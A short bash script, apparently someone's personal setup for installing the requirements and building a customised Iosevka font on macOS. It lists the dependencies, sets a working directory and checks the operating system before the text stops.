#!/usr/bin/env bash # Installs requirements and builds my preferences for Iosevka # # Homepage: https://github.com/be5invis/Iosevka # # Requirements: # - nodejs (≥ 6.0) # - ttfautohint # - otfcc (≥ 0.7.0) set -e WDIR="$HOME/Projects/Iosevka" # OS Check if [ ! "$(uname)" == "Darwin" ]; then echo "Error: Not on Mac" ...